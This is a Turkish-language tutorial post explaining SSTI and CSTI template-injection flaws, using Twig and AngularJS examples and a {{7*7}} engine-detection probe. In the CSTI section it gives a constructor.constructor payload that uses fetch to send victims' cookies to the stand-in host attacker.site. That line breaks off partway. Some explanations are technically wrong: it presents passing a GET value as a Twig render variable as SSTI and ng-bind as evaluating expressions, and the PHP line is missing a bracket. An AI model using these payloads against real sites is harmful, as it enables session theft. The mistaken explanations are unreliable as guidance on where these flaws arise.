Web uygulamaları kullanıcıya özel dinamik içerikler sunabilmek için sıklıkla şablon motorları yani template engine dediğimiz yapılara başvurur. Bu tarz sistemler her ne kadar hayatı kolaylaştırsa da, geliştirici hataları nedeniyle saldırganların manipülasyona ya da sömürülmeye açık bir kapıya dönüşebilir. Bu yazımda, özellikle şablon motorlarıyla ilgili iki kritik güvenlik açığı olan SSTI (Server-Side Template Injection) ve CSTI (Client-Side Template Injection) zafiyetlerini inceleyeceğiz.

Örnekler üzerinden ilerleyerek bu açıklardan nasıl yararlanıldığını, ne gibi sonuçlara yol açabileceğini ve nasıl ortaya çıktıklarını göstermeyi hedefliyorum. Teknik terimlerle boğmadan ama yüzeysel de kalmadan, bu konuyu hem teknik meraklılarına hem de güvenlik alanına yeni adım atanlara anlatmak istiyorum.

Şablon Motoru Nedir ? (Template Engine)

None
Template Engine

Şablon Motorları, web uygulamalarında dinamik içeriklerin oluşturulması için kullanılan araçlardır. Özellikle HTML sayfalarında, statik kod ile dinamik verilerin yani sql sorgusu gibi veri tabanından gelen veri bilgileri gibi birleştirilmesine olanak tanır. Şablon Motoru, şablonları ve verileri alıp, bunları işleyerek son kullanıcıya sunulacak son haldeki HTML sayfalarını üretir. Bu süreç, web uygulamalarının daha esnek ve modüler olmasını sağlar ve geliştirme sürecini hızlandırır. Ancak, güvenli olamayan şekilde kullanıldığında, Server-Side Template Injection yani SSTI gibi güvenlik zafiyetlerine yol açabilir.

Örnek bir PHP Twig Template Engine backend kodunu şu şekilde gösterebilirim :

$loader = new \Twig\Loader\FilesystemLoader('/templates/twig');
$twig = new \Twig\Environment($loader);  
echo $twig->render('index.html.twig', ['name' => 'John Doe']);

$loader = new \Twig\Loader\FilesystemLoader('/templates/twig');

  • Bu satırda bir yükleyici (loader) tanımlanıyor. Twig'e, şablon dosyalarını (HTML dosyalarını) sistemin neresinde araması gerektiğini söylüyoruz.
  • /templates/twig dizini, Twig'in ana klasörü olarak belirlenir. Artık Twig, bir dosya çağırdığınızda otomatik olarak bu klasörün içine bakacaktır.

$twig = new \Twig\Environment($loader);

  • Bu satırda ise Twig'in ana ortamını (environment) oluşturuyoruz.
  • Bu nesne, tüm yapılandırmaları ve uzantıları saklayan "beyin" kısmıdır. Yukarıda oluşturduğumuz $loader nesnesini buraya parametre olarak vererek, Twig'in dosya sistemine nasıl erişeceğini bilmesini sağlıyoruz.

echo $twig->render('index.html.twig', ['name' => 'John Doe']);

  • Bu satır da, asıl işlemin (rendering) yapıldığı yeridir.
  • * index.html.twig dosyasını alır.
  • İçinde {{ name }} gibi değişkenleri bulur.
  • Bu değişkenlerin yerine dizide gönderdiğimiz 'John Doe' değerini yerleştirir.
  • Sonuçta oluşan saf HTML kodunu ekrana basar (echo).

Render edilmeden önceki template engine frontend kodu ise şu şekilde görülecektir:

<!DOCTYPE html>  
<html>  
<head>  
<title>Welcome</title>  
</head>  
<body>  
<h1>Hello, {{ name }}!</h1>  
</body>  
</html>

Backend tarafından frontend e gönderilen dinamik verilerin işlenmesinden yani değişen verilerin işlenmesinden sonra kullanıcının göreceği sayfanın HTML kodu:

<!DOCTYPE html>  
<html>  
<head>  
<title>Welcome</title>  
</head>  
<body>  
<h1>Hello, John Doe!</h1>  
</body> 

Server-Side Template Injection Nedir ? (SSTI)

Server-Side Template Injection (SSTI) zafiyeti, bir web uygulamasının sunucu tarafı template motorunun istismar,sömürü edilmesinden kaynaklanan bir güvenlik açığıdır. Bu zafiyet, saldırganların template motoruna zararlı payload yani zararlarlı kod parçacıkları yazarak veya göndererek, sunucuda istenmeyen komutların çalıştırılmasına neden olur. SSTI, genellikle web uygulamarının kullanıcı girdilerini yeterince doğrulamaması ve template motorunun bu girdileri doğrudan işlemesi sonucu ortaya çıkar.

"Zafiyet (Vulnerability) kapının açık unutulmasıdır; Payload ise o kapıdan içeri giren hırsızın yanında getirdiği çantadır."

None

Zafiyetli Kod örneği ise aşağıda gösterilmiştir:

echo $twig->render('index.html.twig', ['name' => $_GET['name']);

Yukarıdaki kod örneğinde olduğu gibi kullanıcıdan alınan bir GET verisinin yani kullanıcının yazdığı bir veriyi GET algoritması kullanılarak işlenmesinin, doğrulama yapılmadan doğrudan alınıp ekrana yazdırılmasından kaynaklanan bir SSTI zafiyeti, aşağıdaki gibi bir payload (kod parçacığı) gönderilerek istismar edilebilir yada sömürülebilir.

http://example.com?name={{payload}}

Client-Side Template Injection Nedir ? (CSTI)

Client-Side Template Injection (CSTI) zafiyeti, bir web uygulamasının sunucu tarafı değilde istemci tarafında yani örnek olarak tarayıcımızda çalışan template motorunun istismar/sömürü edilmesinden kaynaklanan bir güvenlik açığıdır. Bu zafiyet, saldırganların tarayıcıda çalışan şablon motoruna zararlı payload göndererek, kullanıcının tarayıcısında kötü amaçlı kodların çalıştırılmasına neden olur.

None
CSTI Example

CSTI genellikle AngularJS, Vue.js, Handlebars, Mustache gibi JavaScript tabanlı şablon motorlarında ortaya çıkar. Bu motorlar kullanıcıya dinamik içerik sunarken kullanıcıdan alınan verilerin yeterince filtrelenmemesi ya da doğrudan şablon motoruna aktarılması sonucu bu tür/tarz açıklara yol açacaktır.

İşte zafiyet içeren bir örnek kod:

                             AngularJS

<div ng-bind="KullaniciGirdisi"></div> 

Yukarıdaki örnekte görüldüğü gibi "KullanıcıGirdisi" alanı doğrudan AngularJS motoru tarafından işlenir ve kullanıcıdan alınan veri şablonun içine herhangi bir filtreleme yada koruma olmadan yerleştirilmektedir. Bu durumda kullanıcı, aşağıdaki gibi zararlı bir payload göndererek CSTI zafiyetini istismar/sömürü yapılabilir:

{{constructor.constructor('alert("CSTI Açığı")')()}}

Kullanıcı girdinin istendiği yere bu tarz bir payload yazarsa bu payload tarayıcıda çalıştırılır ve sayfanın bir alert vermesine sebep olur. Daha gelişmiş senaryolarda ise bu açık, cookie çalma, oturum ele geçirme ya da zararlı scriptler yükleme gibi daha ciddi güvenlik sorunlarına yol açabilir.

Örnek:

http://example.com?KullaniciGirdisi={{constructor.constructor('alert("CSTI")')()}}

Uygulamalı Örnekler:

SSTI Örneği:

None
Yorum satırı içeren bir site

Yorum yapabileceğimiz, ancak SSTI zafiyetine sahip bir sitenin yorum yapma alanı; bu alana biz ismimiz yerine {{7 * 7}} yazarsak, bize template motoruna göre bir sonuç dönecektir. Eğer 7777777 sonucu dönerse Jinja2 motoru, 49 sonucunu dönerse twig motorunu kullandığını anlayabiliriz. İşte sonuç:

None
Bize 49 sonucu döndürdü, Twig template moturunu kullanıyor.

CSTI Örneği:

<div ng-bind="commentText"></div> 

Şu şekilde bir div alanı içeren ve anlatım içerinde anlattığım motorları kullanan kod uygulamalarında herhangi bir filtre kullanılmamışsa şu şekilde sömürülebilir:

{{constructor.constructor('fetch("https://attacker.site/steal?cookie=" +

Bu ifade, sayfa yüklendiğinde tarayıcıda çalışır ve kurbanın çerez bilgilerini saldırgan kişinin sitesine gönderir.

Bu yazımda SSTI ve CSTI zafiyetlerini anlatmış bulunuyorum. Bunlar modern web uygulamalarında kritik güvenlik açıkları arasında yer almaktadır. Şablon motorlarının hem istemci hem de sunucu tarafında güvensiz veri işleme yöntemleriyle kullanılması, saldırganlara sistem üzerinde kontrol sağlayabilir.

Bu tür açıkların önlenmesi için:

  • Kullanıcı girdileri mutlaka filtrelenmeli ve doğrulanmalıdır.
  • Şablon motorlarına doğrudan kullanıcı verisi aktarılmamalıdır.
  • İstemci tarafında kullanılan JS framework'lerin güvenlik kılavuzlarına uyulmalıdır.

Geliştiricilerin, kullandıkları her katmanda güvenliği öncelikle olarak ele almaları gerekmektedir.